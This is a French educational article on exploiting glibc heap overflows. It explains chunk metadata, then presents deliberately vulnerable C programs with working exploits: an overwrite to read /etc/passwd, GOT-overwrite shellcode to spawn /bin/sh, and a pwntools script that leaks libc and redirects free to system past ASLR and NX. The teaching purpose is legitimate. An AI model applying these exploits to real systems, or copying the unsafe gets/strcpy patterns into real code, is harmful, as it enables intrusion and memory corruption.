L'exploitation des débordements mémoires dans le tas

Introduction

Présentation et enjeux du tas

Un programme en cours d'exécution a besoin de conserver des données afin d'effectuer des traitements sur ces dernières. Pour ce faire, différentes zones de mémoire sont disponibles.

Dans le système GNU/Linux (avec les protections actuelles sur la mémoire), nous avons 3 zones mémoires nous permettant de lire et d'écrire nos données à l'exécution :

  1. La stack, une zone mémoire qui agit comme une pile. À chaque appel de fonction, une zone mémoire est ajoutée en haut de la pile afin de conserver les données utiles à la fonction. Une fois la fonction terminée, la zone mémoire est dépilée et les données qui s'y trouvent peuvent être remplacées par les données d'un futur appel de fonction. Cette zone mémoire peut changer de taille, sauf dans le C ANSI où l'espace occupé par une fonction est défini à la compilation.
  2. Le bss, est une section qui conserve les variables globales au programme. Cette zone mémoire ne peut pas croître en taille, car la taille des données à conserver est fixée au moment de la compilation.
  3. Le heap est une zone mémoire qui, cette fois, est indépendante de la compilation. En effet, cet espace sert à stocker des données en cours d'exécution et permet de créer comme bon nous semble des espaces mémoire.

Dans la suite de cet article, nous parlerons du tas (heap), ainsi que des différents bugs liés à son utilisation.

L'utilité de cette structure de données par rapport à la pile d'appels est que même après la fin de la fonction s'occupant de réserver l'espace mémoire, nous conservons cette allocation. Nous allons justement nous intéresser à l'algorithme d'allocation implémenté dans le système gnu/linux.

Cet algorithme d'allocation doit respecter deux conditions essentielles :

  1. Maintenir la performance, c'est-à-dire qu'une allocation mémoire doit se faire dans un temps raisonnablement court.
  2. Éviter la fragmentation, les différents morceaux de mémoire alloués devant être dans la mesure du possible adjacent afin d'éviter l'apparition de trous de mémoire non alloués.

Les morceaux de mémoire

Maintenant que nous avons défini les problématiques de l'algorithme d'allocation, nous pouvons nous pencher sur la structure d'un morceau de mémoire (memory chunk).

Afin de conserver les données utiles à notre programme, nous nous devons de les mettre à un emplacement qui pourra être alloué et libéré au moment où nous n'en aurons plus besoin.

Un morceau de mémoire est constitué de deux parties :

  1. Ses métadonnées, qui sont des données essentielles au bon fonctionnement de l'algorithme d'allocation (la taille du morceau mémoire, celle du morceau précédent s'il est libéré, etc.). Nous détaillerons dans une prochaine partie comment ces données sont utiles à la fois pour le mécanisme de gestion de la mémoire, mais aussi comment, dans le cas d'un débordement mémoire, elles nous permettent d'exploiter un programme.
  2. Ses données, la zone mémoire où l'utilisateur peut écrire.
  3. Nous avons aussi un espace de bourrage (padding) qui est ajouté, ceci afin que les chunks de mémoire soient toujours alignés.

Ainsi, nous pouvons en déduire une règle générale, une allocation mémoire prendra plus de place que l'espace initialement commandé par l'application. La structure malloc_chunk prise de la libc1 nous permet de mieux comprendre les métadonnées qui composent cette dernière :

struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
}

Ainsi lorsqu'un chunk est alloué il est composé des données suivantes:

|size chunk|données utilisateurs|padding|

Premières exploitations

Des vulnérabilités dépendant de l'application cible

Lorsque l'on commence cette vaste partie qu'est l'exploitation logicielle, nous ne pouvons pas passer à côté des débordements mémoires dans la pile d'appels des fonctions. Cette catégorie de débordement mémoire reste classique dans la méthode d'exploitation, quel que soit le programme vulnérable dans son ensemble.

  1. Contrôler le pointeur d'instruction.
  2. Rediriger le flux d'exécution vers un shellcode si l'on a peu de protection, ou bien construire un ROP2.

Les exploitations dans le heap ont un plus large éventail de possibilités :

  1. Si on peut écraser un pointeur de fonction, nous appliquons la méthode décrite ci-dessus dans le cas des exploitations dans la stack. Nous allons chercher à rediriger le flux d'éxecution dans un shellcode
  2. Si on peut écraser une zone mémoire contenant des pointeurs utilisés à un autre moment dans l'application pour lire et écrire à des endroits arbitraires, nous pouvons donc nous construire une directive read/write.
  3. En C++ nous avons une structure de données qui porte le nom de vtable, permettant d'appeler la bonne procédure en fonction du type de l'objet.
  4. Nous pouvons aussi écraser les métadonnées d'un chunk afin de tirer parti de l'algorithme d'allocation mémoire. Cette Partie sera plus détaillée lorsque nous aborderons l'exploitation avancée des vulnérabilités dans le tas.
  5. Combiner la partie 2 avec soit la partie 3, soit la partie 4 afin de défaire l'ASLR (Address Space Layout Randomization, une protection de l'espace mémoire par le noyau du système d'exploitation3.
  6. Probablement beaucoup d'autres techniques et d'autres combinaisons que l'auteur de cet article ne connaît pas encore...

Premier programme vulnérable : écraser des données utiles

Présentation du programme vulnérable

Ce premier programme a pour but de démontrer que l'exploitation des vulnérabilités dans le tas est très dépendante de l'application vulnérable. Le programme est un simple gestionnaire d'événements, il permet d'afficher ou d'enregistrer des informations dans le fichier /tmp/log.txt.


// $ gcc -o system_log system_log.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #define LEN_COMMAND 0x200 #define LEN_LOG_CONTENT 0x200 #define LOG_FILE "/tmp/log.txt" char* file_name; void save_log_file(char *content) { int fd; if((fd = open(file_name,O_WRONLY|O_APPEND|O_CREAT,0640)) < 0) { puts("[-] Une erreur est apparue à l'ouverture du fichier"); exit(1); } write(fd,content,strlen(content)); write(fd,"\n",1); } void read_log_file() { int fd; char buffer[0x1000]; if((fd = open(file_name,O_RDONLY,0640)) < 0) { puts("[-] Une erreur est apparue à l'ouverture du fichier"); exit(1); } while(read(fd,buffer,sizeof(buffer)) > 0) { printf("%s",buffer); } puts("\n"); } void help() { puts("Bienvenue dans l'aide du programme\n" "\tread lire le fichier de log\n" "\tsave sauvegarder dans le fichier de log\n" "\texit quitter le programme\n" "\thelp afficher cette aide\n"); } int main(int argc, char *argv[]) { char *command = malloc(0x200); file_name = malloc(sizeof(LOG_FILE)); char *log_content = malloc(LEN_LOG_CONTENT); strcpy(file_name,LOG_FILE); help(); while(1) { if(!gets(command)) break; if(!strcmp("exit",command)) break; if(!strcmp("save",command)) { puts("donnez nous le contenu que vous souhaitez enregistrer"); gets(log_content); save_log_file(log_content); } if(!strcmp("read",command)) { puts("Voici le contenu du fichier de log"); read_log_file(); } if(!strcmp("help",command)) help(); } puts("End!"); return 0; }

Description de la vulnérabilité

Le problème de ce programme est l'utilisation de la fonction gets.

Ci-dessous un extrait du manuel Linux :


BUGS Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead. For more information, see CWE-242 (aka "Use of Inherently Dangerous Function") at http://cwe.mitre.org/data/definitions/242.html

Comme nous pouvons le voir dans le code, le tampon (buffer) command utilisé pour recevoir la commande de l'utilisateur est alloué avant le buffer contenant le nom du fichier.

De plus, la fonction gets est utilisée pour recevoir la commande de l'utilisateur.

De ce fait, l'utilisateur peut déborder dans le buffer suivant, afin d'écraser le nom du fichier. Ceci lui permettra de lire et d'écrire dans n'importe quel fichier.

Calcul du décalage entre command et file_name

Tout d'abord nous traçons le programme pour rechercher les appels à la fonction malloc.

$ ltrace ./system_log 
__libc_start_main([ "./system_log" ] <unfinished ...>
malloc(512)                                          = 0x1d75010         <--- command
malloc(13)                                           = 0x1d75220        <--- file_name
malloc(512)                                          = 0x1d75240        <--- log_content

Nous trouvons que l'offset est égal à

>>> hex(0x1d75220 - 0x1d75010)
'0x210'

Ainsi, nous pouvons donc déborder dans le buffer file_name afin de modifier le nom du fichier.

Exploitation

Pour réaliser notre preuve de concept, nous allons montrer que nous pouvons lire le fichier /etc/passwd par le biais du programme.


$ (python -c "print 'a'*0x210 + '/etc/passwd';print 'read'") | ./system_log Bienvenue dans l'aide du programme read lire le fichier de log save sauvegarder dans le fichier de log exit quitter le programme help afficher cette aide Voici le contenu du fichier de log root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin -- snip --

Deuxième programme : exécutons un shell (32 bits, aucune protection sauf ASLR)

Ce programme est un débordement simple, il a été compilé sur une machine Fedora et la prévention d'exécution (NX) a été désactivée. Le but sera cette fois-ci de lancer un shell.


// la ligne de compilation cité ci-dessous nous permet de compiler un programme en version 32 bit, // Vous aurez peut être besoin d'installer des dépendances sur votre machine afin de compiler avec cette version. // le -z execstack permet de préciser que la pile est executable. Ainsi, nous allons pouvoir procéder à une exploitation avec un shellcode. // gcc -o vuln -m32 -z execstack vuln.c #include <stdio.h> #include <stdlib.h> #include <string.h> #define LEN_NAME 0x200 typedef struct Personnage { char *name; } Personnage; int main(int argc,char *argv[]) { if(argc != 3) { puts("usage ./prog name1 name2"); exit(0); } Personnage *perso1; Personnage *perso2; perso1 = malloc(sizeof(Personnage)); perso1->name = malloc(LEN_NAME); perso2 = malloc(sizeof(Personnage)); perso2->name = malloc(LEN_NAME); strcpy(perso1->name,argv[1]); strcpy(perso2->name,argv[2]); free(perso1->name); free(perso2->name); free(perso1); free(perso2); return 0; }

Description de l'attaque

Nous avons en fait deux débordements mémoire, le programme ne vérifiant pas la taille des arguments afin de les enregistrer dans le tas.

La représentation mémoire est la suivante:

| struct perso1 | name perso1 | struct perso2 | name perso2 |

Nous voyons que si le nom de perso1 déborde dans la structure perso2, nous pouvons réécrire l'adresse contenue dans le pointeur perso2. De ce fait, nous avons une directive pour écrire n'importe où en mémoire. Ainsi, nous pouvons écrire à un endroit arbitraire en mémoire.

L'idée de l'exploitation est triviale. Nous allons réécrire un pointeur de fonction situé dans la global offset table (GOT) afin de le remplacer par un pointeur vers notre shellcode.

La global offset table est la zone mémoire qui contient les pointeurs de fonctions qui ont été importées des librairies. Cette dernière est résolue au cours de l'exécution lorsque le programme à besoin de récupérer l'adresse d'une fonction dans une bibliothèque externe.

Nous allons donc réécrire le pointeur de la fonction free dans la GOT et mettre le shellcode4 juste après l'adresse écrite.

Rechercher l'offset

Pour rappel, lorsque l'utilisateur demande une certaine quantité de mémoire, malloc renverra toujours un peu plus de mémoire. Ceci, afin de mettre les métadonnées (en l'occurence la taille du chunk) et d'alligner le chunk.

Tout d'abord nous lançons le programme en suivant les appels de bibliothèques avec le programme ltrace :


$ ltrace ./vuln a a __libc_start_main([ "./vuln", "a", "a" ] <unfinished ...> malloc(4) = 0x8ea3008 <--- 1 malloc struct perso1 malloc(512) = 0x8ea3018 <--- 2 malloc name perso1 malloc(4) = 0x8ea3220 <--- 3 malloc struct perso2 malloc(512) = 0x8ea3230 <--- 4 malloc name perso2 strcpy(0x8ea3018, "a") = 0x8ea3018 strcpy(0x8ea3230, "a") = 0x8ea3230 free(0x8ea3018) = <void> free(0x8ea3230) = <void> free(0x8ea3008) = <void> free(0x8ea3220) = <void>

Nous voyons donc que l'offset entre le nom du nom perso1 et la structure perso2 correspond à la différence entre les valeurs de retour des 2ème et 3ème appels de malloc.

>>> hex(0x8ea3220 - 0x8ea3018)
'0x208'

Rechercher le pointeur de la fonction free dans la GOT

objdump est un programme permettant de désassembler un binaire. Afin de récupérer l'endroit où est stockée la référence de la fonction free, nous le lançons comme suit :


$ objdump -d -j .plt vuln vuln: format de fichier elf32-i386 Déassemblage de la section .plt : --- snip --- 08048360 <[email protected]>: 8048360: ff 25 0c a0 04 08 jmp *0x804a00c <--- adresse de la référence vers free dans la libc 8048366: 68 00 00 00 00 push $0x0 804836b: e9 e0 ff ff ff jmp 8048350 <_init+0x28> --- snip ---

Ainsi, l'adresse de free dans la libc est située dans la GOT à l'adresse 0x0804a00c.

Shellcode

Enfin, nous récupérons un shellcode exécutant l'appel système execve avec comme argument le shell /bin/sh :

# http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

Programme d'exploitation

En assemblant les différents éléments de la partie précédente, nous obtenons le programme d'exploitation suivant :


#!/usr/bin/env python import os import struct if __name__ == '__main__' : free_got = 0x804a00c shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" payload1 = "a" * 0x208 + struct.pack("<I",free_got) payload2 = struct.pack("<I",free_got+4) + shellcode + "\x90"*10 os.execv("../src/vuln",["yo",payload1,payload2])

Nous pouvons lancer le programme d'exploitation...

$ python exploit.py
sh-4.3$

Et nous obtenons un shell \o/ .

Programme final : fuite mémoire et exécution de code ( plus de protections )

Nous allons nous concentrer sur un cas pratique : un système de gestion d'utilisateurs. Afin de montrer que ces vulnérabilités peuvent facilement contourner les différentes protections, nous considérerons les protections citées ci-dessous comme activées :

  1. L'adressage aléatoire est activé pour la stack, le heap (ASLR)
  2. La prévention d'exécution (NX) est activée.
  3. La machine est une fedora 64 bits
// @author : basketmaker 
// 
// $ cat src/example_part_1.c 
// $ gcc -o src/example_part_1 src/example_part_1.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define USERS 100

struct User{
    char* name;
    int hp;
    int mp;
};

struct User* users[100];

unsigned get_id()
{
    char buffer[0x100];
    printf("give me your id\n");
    fflush(stdout);
    fgets(buffer,sizeof(buffer)-1,stdin);
    return atoi(buffer);
}

void create_user()
{
    struct User* user;
    unsigned i = 0;
    for(i = 0; i < USERS;i++)
    {
        if(users[i] == NULL)
        {
            users[i] = malloc(sizeof(struct User));
            user = users[i];
            break;
        }
    }
    if(i == USERS)
        return;
    char buffer[0x1000] = {0};
    user->hp = 100;
    user->mp = 50;
    printf("Enter your name please\n");
    fflush(stdout);
    fgets(buffer,sizeof(buffer)-1,stdin);
    user->name = malloc(strlen(buffer)+1);
    strcpy(user->name,buffer);
}

void change_name()
{
    unsigned id = get_id();
    struct User* user;
    if(id >= sizeof(USERS))
        return;
    user = users[id];
    char buffer[0x1000] = {0};
    printf("Enter your name please\n");
    fflush(stdout);
    fgets(buffer,sizeof(buffer)-1,stdin);
    strcpy(user->name,buffer);      ///    <<<----- vulnerability goes there 
}

void free_user()
{
    unsigned id = get_id();
    if(id >= USERS)
        return;
    free(users[id]->name);
    free(users[id]);
    users[id] = NULL;
}

void show_users()
{
    unsigned i = 0;
    for(i = 0; i < USERS; i++)
    {
        if(users[i] != NULL)
        {
            printf("\nId = %d\n"
                    "Hello my name is : %s\n"
                    "I have %d HP and %d MP\n\n",
                    i,
                    users[i]->name,
                    users[i]->hp,
                    users[i]->mp);
        }
    }
}

void show_help()
{
    puts("This is the help menu, you can create manipulate your user's list\n"
            "\tcreate (create a user)\n"
            "\tshow (show the users)\n"
            "\tdelete (delete the user)\n"
            "\tchange (change user's name)\n");
    fflush(stdout);
}

void controleur()
{
    char command[0x100];
    show_help();
    while(1)
    {
        printf("$");
        fflush(stdout);
        memset(command,0,sizeof(command));
        fgets(command,sizeof(command)-1,stdin);
        if(!strncmp(command,"show",4)){
            show_users();
        }
        else if(!strncmp(command,"create",6)){
            create_user();
        }
        else if(!strncmp(command,"delete",6)){
            free_user();
        }
        else if(!strncmp(command,"change",6)){ 
            change_name();
        }
        else
            break;
    }
}

int main(int argc,char *argv[], char *env[])
{
    unsigned i = 0;

    for(i = 0 ; argv[i] != NULL ; i++)
        memset(argv[i],0,strlen(argv[i]));
    for(i=0;env[i] != NULL;i++)
        memset(env[i],0,strlen(env[i]));
    for(i=0;i < USERS;i++)
        users[i] = NULL;
    controleur();
    return 0;
}

Dans le code ci-dessus, nous avons un bug induit par la fonction qui renomme l'utilisateur.

Ce bug vient du fait qu'au moment de la création d'un personnage, nous pouvons lui donner un nom.

Or, ce nom détermine la taille de l'espace mémoire servant à son stockage. De plus, il peut être changé pour un nom de plus grande taille.

Cette fonctionnalité introduit une vulnérabilité, car un espace plus grand n'aura pas été réservé à cet effet.

Le schéma ci-dessous nous montre bien la représentation mémoire au moment où deux personnages ont été créés.

| struct perso1 | name perso1 | struct perso2 | name perso2 |

Nous avons besoin de plusieurs ingrédients afin que l'exploitation fonctionne:

  1. Nous avons besoin de l'adresse mémoire de la libc afin de trouver de fonctions intéressantes tel que system.
  2. Un endroit où nous pouvons changer le flux d'exécution. Dans le cas présent, notre choix se portera sur la GOT et en particulier la fonction free que nous remplacerons par une référence vers la fonction system.

Les plus courageux d'entre vous peuvent essayer d'exploiter l'épreuve sans regarder la correction.

# coding: utf-8
#!/usr/bin/env python



# pwnlib est une librairie faite par Gallopsled
# https://github.com/Gallopsled/pwntools
# Dans notre cas, nous utiliserons cette librairie dans le but d'avoir une interface de communication
# plus complète que la librairie subprocess

import pwnlib

# struct est une librairie permettant de manipuler des données au format brut
# nous allons pouvoir passer un entier et obtenir sa représentation en mémoire
# à l'inverse, nous pouvons aussi à partir de la représentation mémoire d'un entier obtenir l'entier

import struct

# la librairie qui permet de manipuler les expressions régulières

import re

# cette classe servira d'interface pour communiquer avec le programme vulnérable

class Communicate :
    def __init__(self) :
        # on indique à pwnlib que nous souhaitons communiquer avec le programme vulnérable
        self.conn = pwnlib.tubes.process.process("../src/example_part_1")
        # on vide le buffer de réception jusqu'a ce qu'on tombe sur le signe '$'
        self.conn.recvuntil("$") 

    # fonction utilisée pour créer des utilisateurs
    def create_user(self,name) :
        self.conn.sendline("create")
        self.conn.recvuntil("Enter your name please")
        self.conn.sendline(name)
        self.conn.recvuntil("$")

    # fonction utilisée pour changer un utilisateur 
    def change_user(self,identifiant,name) :
        self.conn.sendline("change")
        self.conn.recvuntil("give me your id")
        self.conn.sendline(str(identifiant))
        self.conn.recvuntil("Enter your name please")
        self.conn.sendline(name)
        self.conn.recvuntil("$")

    # fonction utilisée pour afficher les utilisateurs 
    def show_user(self) :
        self.conn.sendline("show")
        return self.conn.recvuntil("$")

    # fonction utilisée pour supprimer un utilisateur 
    def delete_user(self,identifiant) :
        self.conn.sendline("delete")
        self.conn.recvuntil("give me your id")
        self.conn.sendline(str(identifiant))

if __name__ == "__main__" :

    chall = None
    while True :
        # si il y a eu une erreur nous fermons la connexion précédente
        if chall != None :
            chall.conn.close()

        chall = Communicate()

        """
        Nous commençons par faire fuiter l'adresse d'une fonction de la libc
        Nous connaissons la structure de l'objet attaqué : 

        struct User{
            char* name;
            int hp;
            int mp;
        };
        """

        # On commence par créer deux utilisateurs avec des noms de faible taille
        chall.create_user("a"*0x10)
        chall.create_user("a"*0x10)

        # puis nous renommons le premier utilisateur afin d'écraser le pointeur vers le nom du deuxième utilisateur
        # nous remplaçons ce pointeur par l'adresse d'une fonction dans la global offset table 
        # Nous choisissons donc libc_start_main 
        # 
        #    0000000000400760 <[email protected]>:
        #            400760:    ff 25 f2 18 20 00        jmpq   *0x2018f2(%rip)        # 602058 <_GLOBAL_OFFSET_TABLE_+0x58>
        #            400766:    68 08 00 00 00           pushq  $0x8
        #            40076b:    e9 60 ff ff ff           jmpq   4006d0 <_init+0x20>

        chall.change_user(0,"a"*0x20+struct.pack("<Q",0x602058))

        # Enfin nous pouvons donc regarder la liste des utilisateurs et nous obtenons l'adresse de libc_start_main dans la libc 
        # Cette dernière n'est autre que le nom du deuxième utilisateur
        result = re.findall("Hello my name is : (.*)",chall.show_user())
        # si nous n'avons pas deux résultats, nous pouvons retourner au début
        if len(result) != 2 :
            print "[-] fail not the number of users we expected "
            continue

        # si nous n'avons pas une adresse correcte, 
        # c'est-à-dire que les caractères composant l'adresse contiennent un null byte 
        # nous retournons au début
        if len(result[1]) != 6 :
            print "[-] bad chars in free"
            continue

        # enfin nous récupérons l'adresse de base de la libc
        # libc_base = ( @libc_start_main ) - ( offset libc_start_main dans la libc ) 

        # pour trouver l'offset de libc_start_main 

        # $ ldd ../src/example_part_1 
        #    linux-vdso.so.1 (0x00007ffffb1e4000)
        #    libc.so.6 => /lib64/libc.so.6 (0x00007f559ca39000)
        #    /lib64/ld-linux-x86-64.so.2 (0x00007f559cdfb000)

        # puis :

        #   $ nm /lib64/libc.so.6 | grep libc_start_main
        #   0000000000020640 T __libc_start_main
        #   l'offset de libc_start_main est donc 0x20640

        libc_base = struct.unpack("<Q",result[1]+"\x00"*2)[0] - 0x20640
        print "[+] libc base @ " + hex(libc_base)


        """
        Maintenant que nous avons l'adresse de la libc,
        nous pouvons passer à la partie exploitation. 
        L'idée sera de créer un utilisateur avec le nom /bin/sh
        De remplacer le pointeur de la fonction "free" dans la global offset table par un pointeur vers system
        Enfin, en libérant ce dernier utilisateur, nous executons system("/bin/sh") done \o/
        """

        # À ce stade nous avons encore besoin de deux informations :

        # 1. l'adresse de la référence vers free dans la global offset table
        # $ objdump -d -j got ../src/example_part_1
        #    00000000004006e0 <[email protected]>:
        #      4006e0:    ff 25 32 19 20 00        jmpq   *0x201932(%rip)        # 602018 <_GLOBAL_OFFSET_TABLE_+0x18>
        #      4006e6:    68 00 00 00 00           pushq  $0x0
        #      4006eb:    e9 e0 ff ff ff           jmpq   4006d0 <_init+0x20>

        # 2. l'offset de system par rapport à la base de la libc
        # $ nm /lib64/libc.so.6 | grep ' system$'
        #   00000000000437c0 W system
        system_address = libc_base + 0x437c0

        # On change le nom du premier utilisateur afin que son pointeur de nom soit dirigé vers 
        # l'adresse de free dans la global offset table
        chall.change_user(0,"a"*0x20+struct.pack("<Q",0x602018))

        # On crée un utilisateur qui porte le nom /bin/sh
        # cet utilisateur sera le troisième
        chall.create_user("/bin/sh")

        # On change la référence vers free par une référence vers system
        chall.change_user(1,struct.pack("<Q",system_address))

        # On supprime le troisième utilisateur ("/bin/sh")
        chall.delete_user(2)

        # Nous obtenons un shell, nous voulons donc interagir avec ce dernier 
        chall.conn.interactive("$")

        break

En lançant le programme d'exploitation, nous obtenons donc le résultat suivant :

$ python exploit.py
[+] libc base @ 0x7feff565d000
whoami
basketmaker

Nous avons réussi une exécution de code en passant toutes les mesures de protection mises en place classiquement.

Pour les guerriers voulant aller plus loin, vous êtes libres d'ajouter d'autres mesures de protection tel que PIE5 !

Auteur

Pierre-Yves Maes (py dot maes at sysdream dot com)